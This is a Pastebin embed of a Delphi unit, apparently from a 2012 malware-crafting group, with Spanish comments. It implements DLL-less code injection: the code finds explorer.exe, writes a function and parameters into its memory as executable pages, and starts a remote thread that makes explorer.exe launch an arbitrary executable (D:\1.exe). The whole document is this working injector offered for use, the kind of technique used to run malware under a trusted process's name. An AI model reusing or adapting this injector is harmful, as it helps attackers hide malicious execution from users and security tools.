document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. //******************************************************************************
  2. //* UNIT:         UNT_InjectNoDLL
  3. //* AUTOR:        Fakedo0r .:PD-TEAM:.
  4. //* FECHA:        31.08.2012
  5. //* CORREO:       Luvel88@gmail.com
  6. //* BLOG:         Sub-Soul.blogspot.com / Sub-Soul.com
  7. //* USO:          Inyectora;
  8. //******************************************************************************
  9. Unit UNT_InjectNoDLL;
  10. //******************************************************************************
  11. //DECLARACION DE LIBRERIAS / CLASES
  12. //******************************************************************************
  13. Interface
  14.  
  15. Uses
  16.   Winapi.Windows, TLHelp32, PsAPI, ShellAPI;
  17. //******************************************************************************
  18. //DECLARACION DE ESTRUCTURAS
  19. //******************************************************************************
  20. Type
  21.   PTINJECT = ^TINJECT;
  22.  
  23.   TINJECT = Record
  24.     __ShellExecute: Function(HWND: HWND; Operation, FileName, Parameters,
  25.       Directory: PWideChar; ShowCmd: Integer): HINST; Stdcall;
  26.  
  27.     cExe: Array [0 .. MAX_PATH] Of Char;
  28.     cOper: Array [0 .. MAX_PATH] Of Char;
  29.   End;
  30. //******************************************************************************
  31. //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
  32. //******************************************************************************
  33. Procedure Inyectada(tInj: PTINJECT); Stdcall;
  34. Procedure Inyectora;
  35. Function AllocAndCopyMem(hProcess: THandle; ptBuffer: Pointer;
  36.   iBuffSize: Int64): Pointer;
  37. //******************************************************************************
  38. Implementation
  39. //******************************************************************************
  40. //<--- LA FUNCION QUE VAMOS A INYECTAR --->
  41. //******************************************************************************
  42. Procedure Inyectada(tInj: PTINJECT); Stdcall;
  43. Begin
  44.   tInj.__ShellExecute(0, tInj.cOper, tInj.cExe, Nil, Nil, 1);
  45. End;
  46. //******************************************************************************
  47. //<--- LA FUNCION QUE OPERA LA INYECCION --->
  48. //******************************************************************************
  49. Procedure Inyectora;
  50. Var
  51.   uTamFun:    UINT;
  52.   dwPID:      DWORD;
  53.   dwExitCode: DWORD;
  54.   hThread:    THandle;
  55.   hProcess:   THandle;
  56.   ptStruct:   Pointer;
  57.   ptEsp:      Pointer;
  58.   tProcEntry: TProcessEntry32;
  59.   tInj:       TINJECT;
  60. Begin
  61.   uTamFun := 0;
  62.   dwExitCode := 0;
  63.   hProcess := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  64.   tProcEntry.dwSize := Sizeof(tProcEntry);
  65.  
  66.   If Process32First(hProcess, tProcEntry) Then
  67.   Begin
  68.     Repeat
  69.       If tProcEntry.szExeFile = \'explorer.exe\' Then
  70.       Begin
  71.         dwPID := tProcEntry.th32ProcessID;
  72.         Break;
  73.       End;
  74.     Until Not Process32Next(hProcess, tProcEntry);
  75.   End;
  76.  
  77.   CloseHandle(hProcess);
  78.  
  79.   // obtenemos el handle del proceso
  80.   hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, dwPID);
  81.  
  82.   // obtenemos el puntero del api
  83.   @tInj.__ShellExecute := GetProcAddress(LoadLibrary(\'Shell32.dll\'),
  84.     \'ShellExecuteW\');
  85.  
  86.   // copiamos los datos en las variables
  87.   lstrcpy(tInj.cExe, PChar(\'D:\\1.exe\'));
  88.   lstrcpy(tInj.cOper, PChar(\'open\'));
  89.  
  90.   // reservamos y copiamos nuestra estructura a la memoria
  91.   ptStruct := AllocAndCopyMem(hProcess, @tInj, Sizeof(TINJECT));
  92.  
  93.   // calculamos el tamaƱo de nuestra funcion
  94.   uTamFun := UINT(@Inyectora) - UINT(@Inyectada);
  95.  
  96.   // reservamos y copiamos nuestra funcion a la memoria
  97.   ptEsp := AllocAndCopyMem(hProcess, @Inyectada, uTamFun);
  98.  
  99.   // creamos el hilo remoto
  100.   hThread := CreateRemoteThread(hProcess, Nil, 0, ptEsp, ptStruct, 0,
  101.     PDWORD(Nil)^);
  102.  
  103.   If hThread <> 0 Then
  104.   Begin
  105.     // esperamos hasta que se cree el hilo
  106.     WaitForSingleObject(hThread, INFINITE);
  107.     // obtenemos el estado de terminacion del hilo
  108.     GetExitCodeThread(hThread, dwExitCode);
  109.     // liberamos el handle del hilo creado
  110.     CloseHandle(hThread);
  111.     // liberamos el espacio en el proceso
  112.     VirtualFreeEx(hProcess, ptStruct, 0, MEM_RELEASE);
  113.     VirtualFreeEx(hProcess, ptEsp, 0, MEM_RELEASE);
  114.   End;
  115.  
  116.   // liberamos el handle del proceso
  117.   CloseHandle(hProcess);
  118. End;
  119. //******************************************************************************
  120. //<--- RESERVA ESPACIO Y ESCRIBE EN LA MEMORIA --->
  121. //******************************************************************************
  122. Function AllocAndCopyMem(hProcess: THandle; ptBuffer: Pointer;
  123.   iBuffSize: Int64): Pointer;
  124. Var
  125.   iBytesWritten: SIZE_T;
  126. Begin
  127.   iBytesWritten := 0;
  128.   // reservamos espacio
  129.   Result := VirtualAllocEx(hProcess, Nil, iBuffSize, MEM_COMMIT Or MEM_RESERVE,
  130.     PAGE_EXECUTE_READWRITE);
  131.   // escribimos
  132.   WriteProcessMemory(hProcess, Result, ptBuffer, iBuffSize, iBytesWritten);
  133. End;
  134.  
  135. End.
');